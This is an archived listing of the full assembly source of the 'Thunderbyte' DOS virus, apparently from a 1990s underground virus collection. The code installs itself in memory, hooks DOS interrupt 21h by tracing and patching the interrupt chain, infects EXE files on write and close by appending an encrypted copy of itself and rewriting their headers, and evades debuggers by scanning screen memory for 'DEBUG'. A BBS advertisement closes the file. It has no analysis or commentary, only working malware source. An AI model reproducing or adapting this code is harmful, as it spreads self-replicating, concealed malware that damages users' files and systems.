home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tbyte.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  10.6 KB  |  613 lines

  1. ;*****************************************************************************;
  2.  
  3. ;                                                                             ;
  4.  
  5. ; Tunderbyte Virus                                                            ;
  6.  
  7. ;                                                                             ;
  8.  
  9. ; TBSCAN.DAT : DB3F00807609??4D75F9                                           ;
  10.  
  11. ;                                                                             ;
  12.  
  13. ;*****************************************************************************;
  14.  
  15.  
  16.  
  17. virus segment public 'code'
  18.  
  19.         assume    cs:virus, ds:virus, es:virus
  20.  
  21.         org    0
  22.  
  23.  
  24.  
  25. VirusStart    equ    $
  26.  
  27. VirusSize1    equ    (VirusEnd1-$)
  28.  
  29. VirusSize2    equ    (VirusEnd2-$)
  30.  
  31.  
  32.  
  33. Decrypt1:    db    0bdh,StartEncrypt-Decrypt2,0
  34.  
  35.         db    80h,76h,Decrypt2-VirusStart-1,0
  36.  
  37.         db    4dh,75h,-7
  38.  
  39. Decrypt2:    cli
  40.  
  41.         mov    sp,offset DoAgain-2
  42.  
  43.         ret    -8
  44.  
  45.  
  46.  
  47.         db    0,0,0,0,'***** THUNDERBYTE *****',0,0,0,0
  48.  
  49.  
  50.  
  51. Init:        mov    cx,(VirusEnd1-StartEncrypt+1)/2
  52.  
  53.         mov    dl,byte ptr cs:Decrypt1[6]
  54.  
  55.         mov    dh,dl
  56.  
  57.         mov    si,offset StartEncrypt
  58.  
  59. NotReady:    ret    2
  60.  
  61.  
  62.  
  63. DecryptWord:    mov    ax,ss:[si]
  64.  
  65.         xor    cs:[si],dx
  66.  
  67. NextWord:    add    dx,ax
  68.  
  69.         inc    si
  70.  
  71.         ret    -4
  72.  
  73.  
  74.  
  75.         dw    DecryptWord
  76.  
  77.         dw    DoAgain
  78.  
  79.         dw    NextWord
  80.  
  81.         dw    Init
  82.  
  83. DoAgain:    loop    NotReady
  84.  
  85.  
  86.  
  87. StartEncrypt    equ    $
  88.  
  89.  
  90.  
  91. Main:        mov    sp,1000h
  92.  
  93.         sti
  94.  
  95.         push    ds
  96.  
  97.         push    es
  98.  
  99.         mov    ax,03031h
  100.  
  101.         mov    bx,0DEADh
  102.  
  103.         int    21h
  104.  
  105.         cmp    ax,0DEADh
  106.  
  107.         jne    Install
  108.  
  109.         jmp    Exit
  110.  
  111. Install:    push    es
  112.  
  113.         mov    ah,52h
  114.  
  115.         int    21h
  116.  
  117.         mov    ax,es:[bx-2]
  118.  
  119.         mov    cs:FirstMCB,ax
  120.  
  121.         pop    es
  122.  
  123. CheckBlock:    mov    ds,ax
  124.  
  125.         inc    ax
  126.  
  127.         cmp    word ptr ds:[1],ax
  128.  
  129.         jne    NextBlock
  130.  
  131.         cmp    word ptr ds:[3],((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)
  132.  
  133.         jne    NextBlock
  134.  
  135.         push    ax
  136.  
  137.         push    es
  138.  
  139.         mov    cx,VirusSize2
  140.  
  141.         xor    di,di
  142.  
  143.         mov    es,ax
  144.  
  145.         mov    al,es:[di]
  146.  
  147.         cld
  148.  
  149.         repe    scasb
  150.  
  151.         pop    es
  152.  
  153.         pop    ax
  154.  
  155.         je    CopyVirus
  156.  
  157. NextBlock:    add    ax,ds:[3]
  158.  
  159.         cmp    byte ptr ds:[0],'Z'
  160.  
  161.         jne    CheckBlock
  162.  
  163.         mov    ah,4ah
  164.  
  165.         mov    bx,-1
  166.  
  167.         int    21h
  168.  
  169.         mov    ah,4ah
  170.  
  171.         sub    bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)+1
  172.  
  173.         int    21h
  174.  
  175.         mov    ah,48h
  176.  
  177.         mov    bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)
  178.  
  179.         int    21h
  180.  
  181. CopyVirus:    push    cs
  182.  
  183.         pop    ds
  184.  
  185.         dec    ax
  186.  
  187.         mov    es,ax
  188.  
  189.         inc    ax
  190.  
  191.         mov    es:[1],ax
  192.  
  193.         mov    cx,8
  194.  
  195.         mov    si,offset CommandStr
  196.  
  197.         mov    di,cx
  198.  
  199.         cld
  200.  
  201.         rep    movsb
  202.  
  203.         mov    es,ax
  204.  
  205. EncryptZero:    inc    byte ptr ds:Decrypt1[6]
  206.  
  207.         jz    EncryptZero
  208.  
  209.         mov    cx,VirusSize2
  210.  
  211.         xor    si,si
  212.  
  213.         xor    di,di
  214.  
  215.         cld
  216.  
  217.         rep    movsb
  218.  
  219.         push    es
  220.  
  221.         call    ReturnFar
  222.  
  223.         xor    ax,ax
  224.  
  225.         mov    ds,ax
  226.  
  227.         cli
  228.  
  229.         mov    ax,offset DebugWatch
  230.  
  231.         xchg    ax,ds:[20h]
  232.  
  233.         mov    cs:OldInt8o,ax
  234.  
  235.         mov    ax,cs
  236.  
  237.         xchg    ax,ds:[22h]
  238.  
  239.         mov    cs:OldInt8s,ax
  240.  
  241.         sti
  242.  
  243.         push    ds:[4]
  244.  
  245.         push    ds:[6]
  246.  
  247.         mov    word ptr ds:[4],offset Trace1
  248.  
  249.         mov    word ptr ds:[6],cs
  250.  
  251.         pushf
  252.  
  253.         push    cs
  254.  
  255.         mov    ax,offset Return4
  256.  
  257.         push    ax
  258.  
  259.         cli
  260.  
  261.         pushf
  262.  
  263.         pop    ax
  264.  
  265.         or    ax,100h
  266.  
  267.         push    ax
  268.  
  269.         push    ds:[86h]
  270.  
  271.         push    ds:[84h]
  272.  
  273.         mov    ah,52h
  274.  
  275. Trace1:        push    bp
  276.  
  277.         mov    bp,sp
  278.  
  279.         push    ax
  280.  
  281.         push    ds
  282.  
  283.         push    cs
  284.  
  285.         pop    ds
  286.  
  287.         mov    ax,FirstMCB
  288.  
  289.         cmp    [bp+4],ax
  290.  
  291.         jae    Return1
  292.  
  293.         mov    ax,[bp-2]
  294.  
  295.         mov    RegAX,ax
  296.  
  297.         mov    RegSP,bp
  298.  
  299.         mov    ax,[bp+2]
  300.  
  301.         mov    OldInt21o,ax
  302.  
  303.         mov    ax,[bp+4]
  304.  
  305.         mov    OldInt21s,ax
  306.  
  307.         xor    ax,ax
  308.  
  309.         mov    ds,ax
  310.  
  311.         mov    word ptr ds:[4],offset Trace2
  312.  
  313.         mov    word ptr ds:[6],cs
  314.  
  315.         jmp    short Trace3
  316.  
  317. Return1:    jmp    short Return3
  318.  
  319. Trace2:        push    bp
  320.  
  321.         mov    bp,sp
  322.  
  323.         push    ax
  324.  
  325.         push    ds
  326.  
  327.         cmp    ax,cs:RegAX
  328.  
  329.         jne    Return3
  330.  
  331.         cmp    bp,cs:RegSP
  332.  
  333.         jne    Return3
  334.  
  335. Trace3:        push    bx
  336.  
  337.         push    dx
  338.  
  339.         lds    bx,[bp+2]
  340.  
  341.         mov    al,[bx]
  342.  
  343.         mov    dx,[bx+1]
  344.  
  345.         inc    dx
  346.  
  347.         cmp    al,0e9h
  348.  
  349.         je    JumpOpcode
  350.  
  351.         cmp    al,0e8h
  352.  
  353.         je    CallOpcode
  354.  
  355.         xchg    ax,dx
  356.  
  357.         dec    ax
  358.  
  359.         cbw
  360.  
  361.         xchg    ax,dx
  362.  
  363.         cmp    al,0ebh
  364.  
  365.         je    JumpOpcode
  366.  
  367.         cmp    al,70h
  368.  
  369.         jb    Return2
  370.  
  371.         cmp    al,7fh
  372.  
  373.         ja    Return2
  374.  
  375. JumpOpcode:    push    ax
  376.  
  377.         push    ds
  378.  
  379.         xor    ax,ax
  380.  
  381.         mov    ds,ax
  382.  
  383.         mov    word ptr ds:[0c8h],offset HackJump
  384.  
  385.         mov    word ptr ds:[0cah],cs
  386.  
  387.         jmp    short Continue
  388.  
  389. CallOpcode:    push    ax
  390.  
  391.         push    ds
  392.  
  393.         xor    ax,ax
  394.  
  395.         mov    ds,ax
  396.  
  397.         mov    word ptr ds:[0c8h],offset HackCall
  398.  
  399.         mov    word ptr ds:[0cah],cs
  400.  
  401. Continue:    pop    ds
  402.  
  403.         pop    ax
  404.  
  405.         mov    cs:Displacement,dx
  406.  
  407.         mov    cs:Opcode,al
  408.  
  409.         mov    ax,32cdh
  410.  
  411.         xchg    ax,[bx]
  412.  
  413.         mov    cs:SavedCode,ax
  414.  
  415.         mov    cs:HackOffset,bx
  416.  
  417.         mov    cs:HackSegment,ds
  418.  
  419.         and    word ptr [bp+6],0feffh
  420.  
  421. Return2:    pop    dx
  422.  
  423.         pop    bx
  424.  
  425. Return3:    pop    ds
  426.  
  427.         pop    ax
  428.  
  429.         pop    bp
  430.  
  431.         iret
  432.  
  433. Return4:    pop    ds:[6]
  434.  
  435.         pop    ds:[4]
  436.  
  437.         mov    cs:Handle,0
  438.  
  439. Exit:        pop    es
  440.  
  441.         pop    ds
  442.  
  443.         mov    ax,ds
  444.  
  445.         add    ax,10h
  446.  
  447.         add    cs:OldCS,ax
  448.  
  449.         add    ax,cs:OldSP
  450.  
  451.         mov    dx,cs:OldSP
  452.  
  453.         cli
  454.  
  455.         mov    ss,ax
  456.  
  457.         mov    sp,dx
  458.  
  459.         sti
  460.  
  461.         jmp    cs:OldEntry
  462.  
  463.  
  464.  
  465. ReturnFar:    retf
  466.  
  467.  
  468.  
  469. OldEntry    equ    this dword
  470.  
  471. OldIP        dw    0
  472.  
  473. OldCS        dw    -10h
  474.  
  475. OldSP        dw    1000h
  476.  
  477. OldSS        dw    0
  478.  
  479.  
  480.  
  481. HackAddress    equ    this dword
  482.  
  483. HackOffset    dw    ?
  484.  
  485. HackSegment    dw    ?
  486.  
  487. SavedCode    dw    ?
  488.  
  489.  
  490.  
  491. HackJump:    call    Interrupt21
  492.  
  493.         push    bp        ; simulate a conditional or 
  494.  
  495.         push    ax        ; unconditional jump
  496.  
  497.         mov    bp,sp
  498.  
  499.         mov    ax,[bp+8]
  500.  
  501.         and    ax,0fcffh
  502.  
  503.         push    ax
  504.  
  505.         db    0b8h        ; mov ax,????
  506.  
  507. Displacement    dw    0
  508.  
  509.         popf
  510.  
  511. Opcode        db    0ebh,3,0    ; j?? +3
  512.  
  513.         xor    ax,ax
  514.  
  515.         nop
  516.  
  517.         add    [bp+4],ax
  518.  
  519.         pop    ax
  520.  
  521.         pop    bp
  522.  
  523.         iret
  524.  
  525.  
  526.  
  527. HackCall:    call    Interrupt21
  528.  
  529.         sub    sp,2        ; simulate a call
  530.  
  531.         push    bp
  532.  
  533.         mov    bp,sp
  534.  
  535.         push    ax
  536.  
  537.         mov    ax,[bp+4]
  538.  
  539.         inc    ax
  540.  
  541.         xchg    ax,[bp+8]
  542.  
  543.         xchg    ax,[bp+6]
  544.  
  545.         xchg    ax,[bp+4]
  546.  
  547.         add    ax,cs:Displacement
  548.  
  549.         mov    [bp+2],ax
  550.  
  551.         pop    ax
  552.  
  553.         pop    bp
  554.  
  555.         iret
  556.  
  557.  
  558.  
  559. Seek:        mov    ah,42h
  560.  
  561.         xor    cx,cx
  562.  
  563.         xor    dx,dx
  564.  
  565.  
  566.  
  567. Dos:        pushf
  568.  
  569.         db    9ah
  570.  
  571. OldInt21o    dw    ?
  572.  
  573. OldInt21s    dw    ?
  574.  
  575.         ret
  576.  
  577.  
  578.  
  579. DosVersion:    cmp    ax,3031h
  580.  
  581.         jne    NotTByte
  582.  
  583.         cmp    bx,0DEADh
  584.  
  585.         jne    NotTByte
  586.  
  587.         mov    ax,0DEADh
  588.  
  589.         add    sp,8
  590.  
  591.         iret
  592.  
  593.  
  594.  
  595. Interrupt21:    cmp    ah,30h
  596.  
  597.         je    DosVersion
  598.  
  599.         push    si
  600.  
  601.         push    ds
  602.  
  603.         push    cs:SavedCode
  604.  
  605.         lds    si,cs:HackAddress
  606.  
  607.         pop    ds:[si]
  608.  
  609.         pop    ds
  610.  
  611.         pop    si
  612.  
  613.         push    ax
  614.  
  615.         push    bx
  616.  
  617.         push    cx
  618.  
  619.         push    dx
  620.  
  621.         push    si
  622.  
  623.         push    di
  624.  
  625.         push    bp
  626.  
  627.         push    ds
  628.  
  629.         push    es
  630.  
  631.         cmp    ah,3eh
  632.  
  633.         je    CloseFile
  634.  
  635.         cmp    ah,40h
  636.  
  637.         je    WriteFile
  638.  
  639. Old21:        pop    es
  640.  
  641.         pop    ds
  642.  
  643.         pop    bp
  644.  
  645.         pop    di
  646.  
  647.         pop    si
  648.  
  649.         pop    dx
  650.  
  651.         pop    cx
  652.  
  653.         pop    bx
  654.  
  655.         pop    ax
  656.  
  657.         push    si
  658.  
  659.         push    ds
  660.  
  661.         lds    si,cs:HackAddress
  662.  
  663.         mov    word ptr ds:[si],32cdh
  664.  
  665.         pop    ds
  666.  
  667.         pop    si
  668.  
  669. NotTByte:    ret
  670.  
  671.  
  672.  
  673. WriteFile:    mov    ax,4400h
  674.  
  675.         call    Dos
  676.  
  677.         cmp    dl,7fh
  678.  
  679.         ja    Error1
  680.  
  681.         mov    al,1
  682.  
  683.         call    Seek
  684.  
  685.         jc    Error1
  686.  
  687.         or    dx,dx
  688.  
  689.         jnz    Error1
  690.  
  691.         cmp    ax,17h
  692.  
  693.         ja    Error1
  694.  
  695.         push    cs
  696.  
  697.         pop    es
  698.  
  699.         mov    si,dx
  700.  
  701.         mov    di,offset Signature
  702.  
  703.         add    di,ax
  704.  
  705.         cmp    word ptr [si],"ZM"
  706.  
  707.         jne    Error1
  708.  
  709.         cmp    word ptr [si+12h],0DEADh
  710.  
  711.         je    Error1
  712.  
  713.         cmp    cx,18h
  714.  
  715.         jb    CheckHandle
  716.  
  717.         or    ax,ax
  718.  
  719.         jz    Ok
  720.  
  721. CheckHandle:    cmp    bx,cs:Handle
  722.  
  723.         jne    Error1
  724.  
  725. Ok:        add    cx,ax
  726.  
  727.         cmp    cx,18h
  728.  
  729.         jbe    CountOk
  730.  
  731.         mov    cx,18h
  732.  
  733. CountOk:    sub    cx,ax
  734.  
  735.         jbe    Error1
  736.  
  737.         cld
  738.  
  739.         rep    movsb
  740.  
  741.         mov    cs:Handle,bx
  742.  
  743. Error1:        jmp    Old21
  744.  
  745.  
  746.  
  747. CloseFile:    push    cs
  748.  
  749.         pop    ds
  750.  
  751.         push    cs
  752.  
  753.         pop    es
  754.  
  755.         mov    ax,4400h
  756.  
  757.         call    Dos
  758.  
  759.         test    dl,80h
  760.  
  761.         jne    Error1
  762.  
  763.         or    bx,bx
  764.  
  765.         je    Read
  766.  
  767.         cmp    cs:Handle,bx
  768.  
  769.         je    DoNotRead
  770.  
  771. Read:        xor    al,al
  772.  
  773.         call    Seek
  774.  
  775.         jc    Error1
  776.  
  777.         mov    ah,3fh
  778.  
  779.         mov    cx,18h
  780.  
  781.         mov    dx,offset Signature
  782.  
  783.         call    Dos
  784.  
  785.         jc    Error1
  786.  
  787. DoNotRead:    mov    cs:Handle,0
  788.  
  789.         cmp    Signature,"ZM"
  790.  
  791.         jne    Error1
  792.  
  793.         cmp    ChkSum,0DEADh
  794.  
  795.         je    Error1
  796.  
  797.         mov    ax,ExeIP
  798.  
  799.         mov    OldIP,ax
  800.  
  801.         mov    ax,ExeCS
  802.  
  803.         mov    OldCS,ax
  804.  
  805.         mov    ax,ExeSS
  806.  
  807.         mov    OldSS,ax
  808.  
  809.         mov    ax,ExeSP
  810.  
  811.         mov    OldSP,ax
  812.  
  813.         mov    al,2
  814.  
  815.         call    Seek
  816.  
  817.         jc    Error1
  818.  
  819.         push    ax
  820.  
  821.         push    dx
  822.  
  823.         mov    cx,200h
  824.  
  825.         div    cx
  826.  
  827.         cmp    PartPage,dx
  828.  
  829.         jne    SizeError
  830.  
  831.         add    dx,-1
  832.  
  833.         adc    ax,0
  834.  
  835.         cmp    PageCount,ax
  836.  
  837. SizeError:    pop    dx
  838.  
  839.         pop    ax
  840.  
  841.         jne    Error2
  842.  
  843.         add    ax,0fh
  844.  
  845.         adc    dx,0
  846.  
  847.         and    ax,0fff0h
  848.  
  849.         mov    cx,dx
  850.  
  851.         mov    dx,ax
  852.  
  853.         mov    ax,4200h
  854.  
  855.         call    Dos
  856.  
  857.         jnc    SeekOk
  858.  
  859. Error2:        jmp    Old21
  860.  
  861. SeekOk:        mov    cx,10h
  862.  
  863.         div    cx
  864.  
  865.         sub    ax,HdrSize
  866.  
  867.         mov    ExeCS,ax
  868.  
  869.         mov    ExeIP,offset Decrypt1
  870.  
  871.         mov    ExeSS,ax
  872.  
  873.         mov    ExeSP,VirusSize1+400h
  874.  
  875.         cmp    MinMem,40h
  876.  
  877.         jae    MemoryOk
  878.  
  879.         mov    MinMem,40h
  880.  
  881.         cmp    MaxMem,40h
  882.  
  883.         jae    MemoryOk
  884.  
  885.         mov    MaxMem,40h
  886.  
  887. MemoryOk:    push    ds
  888.  
  889.         push    es
  890.  
  891.         mov    ax,cs
  892.  
  893.         mov    ds,ax
  894.  
  895.         add    ax,(VirusSize2+0fh)/10h
  896.  
  897.         mov    es,ax
  898.  
  899.         mov    cx,VirusSize1
  900.  
  901.         xor    si,si
  902.  
  903.         xor    di,di
  904.  
  905.         cld
  906.  
  907.         rep    movsb
  908.  
  909.         mov    ds,ax
  910.  
  911.         mov    cx,offset StartEncrypt-Decrypt2
  912.  
  913.         mov    dl,byte ptr ds:Decrypt1[6]
  914.  
  915.         mov    si,offset StartEncrypt-1
  916.  
  917. Again1:        xor    ds:[si],dl
  918.  
  919.         dec    si
  920.  
  921.         loop    Again1
  922.  
  923.         mov    cx,(VirusEnd1-StartEncrypt+1)/2
  924.  
  925.         mov    dh,dl
  926.  
  927.         mov    si,offset StartEncrypt
  928.  
  929. Again2:        xor    ds:[si],dx
  930.  
  931.         mov    ax,ds:[si]
  932.  
  933.         add    dx,ax
  934.  
  935.         inc    si
  936.  
  937.         add    dx,ax
  938.  
  939.         inc    si
  940.  
  941.         loop    Again2
  942.  
  943.         mov    ah,40h
  944.  
  945.         mov    cx,VirusSize1
  946.  
  947.         xor    dx,dx
  948.  
  949.         call    Dos
  950.  
  951.         pop    ds
  952.  
  953.         pop    es
  954.  
  955.         jc    Error3
  956.  
  957.         mov    al,2
  958.  
  959.         call    Seek
  960.  
  961.         jc    Error3
  962.  
  963.         mov    cx,200h
  964.  
  965.         div    cx
  966.  
  967.         mov    PartPage,dx
  968.  
  969.         add    dx,-1
  970.  
  971.         adc    ax,0
  972.  
  973.         mov    PageCount,ax
  974.  
  975.         mov    ChkSum,0DEADh
  976.  
  977.         xor    al,al
  978.  
  979.         call    Seek
  980.  
  981.         jc    Error3
  982.  
  983.         mov    ah,40h
  984.  
  985.         mov    cx,18h
  986.  
  987.         mov    dx,offset Signature
  988.  
  989.         call    Dos
  990.  
  991. Error3:        jmp    Old21
  992.  
  993.  
  994.  
  995. Count        dw    8
  996.  
  997. DebugStr    db    'DEBUG'
  998.  
  999. CommandStr    db    'COMMAND '
  1000.  
  1001.  
  1002.  
  1003. DebugWatch:    push    ax
  1004.  
  1005.         push    cx
  1006.  
  1007.         push    dx
  1008.  
  1009.         push    si
  1010.  
  1011.         push    di
  1012.  
  1013.         push    ds
  1014.  
  1015.         push    es
  1016.  
  1017.         dec    cs:Count
  1018.  
  1019.         jnz    EndWatch
  1020.  
  1021.         mov    cs:Count,8
  1022.  
  1023.         mov    ax,0b000h
  1024.  
  1025.         mov    ds,ax
  1026.  
  1027.         mov    cx,2
  1028.  
  1029.         push    cs
  1030.  
  1031.         pop    es
  1032.  
  1033.         cld
  1034.  
  1035. NextScreen:    push    cx
  1036.  
  1037.         mov    cx,2000
  1038.  
  1039.         xor    si,si
  1040.  
  1041.         mov    di,offset DebugStr
  1042.  
  1043. NextChar1:    mov    dx,5
  1044.  
  1045. NextChar2:    lodsb
  1046.  
  1047.         inc    si
  1048.  
  1049.         and    al,0dfh
  1050.  
  1051.         scasb
  1052.  
  1053.         jne    CharOk
  1054.  
  1055.         dec    dx
  1056.  
  1057.         jnz    NextChar2
  1058.  
  1059. Alarm:        pop    cx
  1060.  
  1061.         lds    si,cs:HackAddress
  1062.  
  1063.         cmp    byte ptr ds:[si],0cdh
  1064.  
  1065.         jne    EndWatch
  1066.  
  1067.         mov    ax,cs:SavedCode
  1068.  
  1069.         mov    ds:[si],ax
  1070.  
  1071.         xor    cx,cx
  1072.  
  1073.         mov    ds,cx
  1074.  
  1075.         mov    ax,cs:OldInt8o
  1076.  
  1077.         mov    ds:[20h],ax
  1078.  
  1079.         mov    ax,cs:OldInt8s
  1080.  
  1081.         mov    ds:[22h],ax
  1082.  
  1083.         mov    es,cx
  1084.  
  1085.         push    cs
  1086.  
  1087.         pop    ds
  1088.  
  1089.         mov    cx,14
  1090.  
  1091.         mov    si,offset EndWatch-2
  1092.  
  1093.         mov    di,4f0h
  1094.  
  1095.         push    es
  1096.  
  1097.         push    di
  1098.  
  1099.         rep    movsb
  1100.  
  1101.         xor    di,di
  1102.  
  1103.         mov    cx,VirusSize2
  1104.  
  1105.         push    cs
  1106.  
  1107.         pop    es
  1108.  
  1109.         retf
  1110.  
  1111. CharOk:        neg    dx
  1112.  
  1113.         add    dx,5
  1114.  
  1115.         sbb    di,dx
  1116.  
  1117.         sub    si,dx
  1118.  
  1119.         sub    si,dx
  1120.  
  1121.         loop    NextChar1
  1122.  
  1123. ScreenOk:    mov    ax,ds
  1124.  
  1125.         add    ax,800h
  1126.  
  1127.         mov    ds,ax
  1128.  
  1129.         pop    cx
  1130.  
  1131.         loop    NextScreen
  1132.  
  1133.         jmp    short EndWatch
  1134.  
  1135.         rep    stosb
  1136.  
  1137. EndWatch:    pop    es
  1138.  
  1139.         pop    ds
  1140.  
  1141.         pop    di
  1142.  
  1143.         pop    si
  1144.  
  1145.         pop    dx
  1146.  
  1147.         pop    cx
  1148.  
  1149.         pop    ax
  1150.  
  1151.         db    0eah
  1152.  
  1153. OldInt8o    dw    ?
  1154.  
  1155. OldInt8s    dw    ?
  1156.  
  1157.  
  1158.  
  1159.         db    '***** (C) COPYRIGHT 1992 BY THE WRITER *****'
  1160.  
  1161.  
  1162.  
  1163. VirusEnd1    equ    $
  1164.  
  1165.  
  1166.  
  1167. FirstMCB    dw    ?
  1168.  
  1169. RegAX        dw    ?
  1170.  
  1171. RegSP        dw    ?
  1172.  
  1173.  
  1174.  
  1175. Handle        dw    ?
  1176.  
  1177. Signature    dw    ?
  1178.  
  1179. PartPage    dw    ?
  1180.  
  1181. PageCount    dw    ?
  1182.  
  1183. ReloCnt        dw    ?
  1184.  
  1185. HdrSize        dw    ?
  1186.  
  1187. MinMem        dw    ?
  1188.  
  1189. MaxMem        dw    ?
  1190.  
  1191. ExeSS        dw    ?
  1192.  
  1193. ExeSP        dw    ?
  1194.  
  1195. ChkSum        dw    ?
  1196.  
  1197. ExeIP        dw    ?
  1198.  
  1199. ExeCS        dw    ?
  1200.  
  1201.  
  1202.  
  1203. VirusEnd2    equ    $
  1204.  
  1205.  
  1206.  
  1207. virus ends
  1208.  
  1209.  
  1210.  
  1211. end Main
  1212.  
  1213. 
  1214.  
  1215. ;─────────────────────────────────────────────────────────────────────────;
  1216.  
  1217. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  1218.  
  1219. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  1220.  
  1221. ;─────────────────────────────────────────────────────────────────────────;
  1222.  
  1223.  
  1224.  
  1225.